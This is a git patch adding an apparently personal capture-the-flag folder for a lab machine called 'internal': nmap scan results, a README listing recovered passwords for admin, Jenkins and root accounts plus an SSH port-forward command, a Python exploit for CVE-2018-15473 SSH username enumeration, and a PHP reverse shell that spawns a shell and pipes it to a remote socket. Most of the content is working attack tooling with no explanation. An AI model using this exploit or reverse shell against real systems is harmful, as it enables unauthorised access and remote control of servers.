From 71dd1dc672fb230428ed3662f59b552eac70d215 Mon Sep 17 00:00:00 2001 From: Raghuram Subramani Date: Tue, 1 Mar 2022 14:47:08 +0530 Subject: add rooms --- internal/45939.py | 65 +++++++++++++++++++++++++++++ internal/README.md | 27 +++++++++++++ internal/allPort.gnmap | 0 internal/allPort.nmap | 0 internal/allPort.xml | 25 ++++++++++++ internal/initial.gnmap | 4 ++ internal/initial.nmap | 17 ++++++++ internal/initial.xml | 44 ++++++++++++++++++++ internal/nmap/initial.nmap | 17 ++++++++ internal/php-reverse-shell.php | 92 ++++++++++++++++++++++++++++++++++++++++++ 10 files changed, 291 insertions(+) create mode 100644 internal/45939.py create mode 100644 internal/README.md create mode 100644 internal/allPort.gnmap create mode 100644 internal/allPort.nmap create mode 100644 internal/allPort.xml create mode 100644 internal/initial.gnmap create mode 100644 internal/initial.nmap create mode 100644 internal/initial.xml create mode 100644 internal/nmap/initial.nmap create mode 100644 internal/php-reverse-shell.php (limited to 'internal') diff --git a/internal/45939.py b/internal/45939.py new file mode 100644 index 0000000..76298e3 --- /dev/null +++ b/internal/45939.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python2 +# CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io +# Credits: Matthew Daley, Justin Gardner, Lee David Painter + +import argparse, logging, paramiko, socket, sys, os + +class InvalidUsername(Exception): + pass + +# malicious function to malform packet +def add_boolean(*args, **kwargs): + pass + +# function that'll be overwritten to malform the packet +old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[ + paramiko.common.MSG_SERVICE_ACCEPT] + +# malicious function to overwrite MSG_SERVICE_ACCEPT handler +def service_accept(*args, **kwargs): + paramiko.message.Message.add_boolean = add_boolean + return old_service_accept(*args, **kwargs) + +# call when username was invalid +def invalid_username(*args, **kwargs): + raise InvalidUsername() + +# assign functions to respective handlers +paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept +paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username + +# perform authentication with malicious packet and username +def check_user(username): + sock = socket.socket() + sock.connect((args.target, args.port)) + transport = paramiko.transport.Transport(sock) + + try: + transport.start_client() + except paramiko.ssh_exception.SSHException: + print '[!] Failed to negotiate SSH transport' + sys.exit(2) + + try: + transport.auth_publickey(username, paramiko.RSAKey.generate(2048)) + except InvalidUsername: + print "[-] {} is an invalid username".format(username) + sys.exit(3) + except paramiko.ssh_exception.AuthenticationException: + print "[+] {} is a valid username".format(username) + +# remove paramiko logging +logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) + +parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)') +parser.add_argument('target', help="IP address of the target system") +parser.add_argument('-p', '--port', default=22, help="Set port of SSH service") +parser.add_argument('username', help="Username to check for validity.") + +if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + +args = parser.parse_args() + +check_user(args.username) diff --git a/internal/README.md b/internal/README.md new file mode 100644 index 0000000..9330910 --- /dev/null +++ b/internal/README.md @@ -0,0 +1,27 @@ +IP > `10.10.154.125` + +``` +admin: my2boys +``` + +``` +aubreanna:bubb13guM!@#123 +``` + +``` +Internal Jenkins service is running on 172.17.0.2:8080 +``` +```bash +ssh -f -g -L 5053:192.168.60.101:502 user@192.168.60.100 -N +``` + +Jenkins +``` +admin: spongebob +``` + +root pass + +``` +root:tr0ub13guM!@#123 +``` diff --git a/internal/allPort.gnmap b/internal/allPort.gnmap new file mode 100644 index 0000000..e69de29 diff --git a/internal/allPort.nmap b/internal/allPort.nmap new file mode 100644 index 0000000..e69de29 diff --git a/internal/allPort.xml b/internal/allPort.xml new file mode 100644 index 0000000..1197b8e --- /dev/null +++ b/internal/allPort.xml @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/internal/initial.gnmap b/internal/initial.gnmap new file mode 100644 index 0000000..06f775b --- /dev/null +++ b/internal/initial.gnmap @@ -0,0 +1,4 @@ +# Nmap 7.80 scan initiated Tue Mar 1 12:13:41 2022 as: nmap -sC -sV -oA nmap/initial 10.10.252.197 +Host: 10.10.252.197 (internal.thm) Status: Up +Host: 10.10.252.197 (internal.thm) Ports: 22/open/tcp//ssh//OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.4.29 ((Ubuntu))/ Ignored State: closed (998) +# Nmap done at Tue Mar 1 12:14:16 2022 -- 1 IP address (1 host up) scanned in 34.54 seconds diff --git a/internal/initial.nmap b/internal/initial.nmap new file mode 100644 index 0000000..e199a01 --- /dev/null +++ b/internal/initial.nmap @@ -0,0 +1,17 @@ +# Nmap 7.80 scan initiated Tue Mar 1 12:13:41 2022 as: nmap -sC -sV -oA nmap/initial 10.10.252.197 +Nmap scan report for internal.thm (10.10.252.197) +Host is up (0.18s latency). +Not shown: 998 closed ports +PORT STATE SERVICE VERSION +22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) +| ssh-hostkey: +| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA) +| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA) +|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519) +80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) +|_http-server-header: Apache/2.4.29 (Ubuntu) +|_http-title: Apache2 Ubuntu Default Page: It works +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +# Nmap done at Tue Mar 1 12:14:16 2022 -- 1 IP address (1 host up) scanned in 34.54 seconds diff --git a/internal/initial.xml b/internal/initial.xml new file mode 100644 index 0000000..f9ad390 --- /dev/null +++ b/internal/initial.xml @@ -0,0 +1,44 @@ + + + + + + + + + +
+ + + + + + +cpe:/a:openbsd:openssh:7.6p1cpe:/o:linux:linux_kernel +cpe:/a:apache:http_server:2.4.29 + + + + + + diff --git a/internal/nmap/initial.nmap b/internal/nmap/initial.nmap new file mode 100644 index 0000000..32501ae --- /dev/null +++ b/internal/nmap/initial.nmap @@ -0,0 +1,17 @@ +# Nmap 7.80 scan initiated Tue Mar 1 12:13:41 2022 as: nmap -sC -sV -oA nmap/initial 10.10.252.197 +Not shown: 998 closed ports +Nmap scan report for internal.thm (10.10.252.197) +Host is up (0.18s latency). +PORT STATE SERVICE VERSION +22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) +| ssh-hostkey: +| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA) +| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA) +|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519) +80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) +|_http-server-header: Apache/2.4.29 (Ubuntu) +|_http-title: Apache2 Ubuntu Default Page: It works +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +# Nmap done at Tue Mar 1 12:14:16 2022 -- 1 IP address (1 host up) scanned in 34.54 seconds diff --git a/internal/php-reverse-shell.php b/internal/php-reverse-shell.php new file mode 100644 index 0000000..c9b702a --- /dev/null +++ b/internal/php-reverse-shell.php @@ -0,0 +1,92 @@ + array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") +); +$process = proc_open($shell, $descriptorspec, $pipes); +if (!is_resource($process)) { + printit("ERROR: Can't spawn shell"); + exit(1); +} +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +stream_set_blocking($pipes[2], 0); +stream_set_blocking($sock, 0); +printit("Successfully opened reverse shell to $ip:$port"); +while (1) { + if (feof($sock)) { + printit("ERROR: Shell connection terminated"); + break; + } + if (feof($pipes[1])) { + printit("ERROR: Shell process terminated"); + break; + } + $read_a = array($sock, $pipes[1], $pipes[2]); + $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); + if (in_array($sock, $read_a)) { + if ($debug) printit("SOCK READ"); + $input = fread($sock, $chunk_size); + if ($debug) printit("SOCK: $input"); + fwrite($pipes[0], $input); + } + if (in_array($pipes[1], $read_a)) { + if ($debug) printit("STDOUT READ"); + $input = fread($pipes[1], $chunk_size); + if ($debug) printit("STDOUT: $input"); + fwrite($sock, $input); + } + if (in_array($pipes[2], $read_a)) { + if ($debug) printit("STDERR READ"); + $input = fread($pipes[2], $chunk_size); + if ($debug) printit("STDERR: $input"); + fwrite($sock, $input); + } +} +fclose($sock); +fclose($pipes[0]); +fclose($pipes[1]); +fclose($pipes[2]); +proc_close($process); +function printit ($string) { + if (!$daemon) { + print "$string\n"; + } +} +?> -- cgit v1.2.3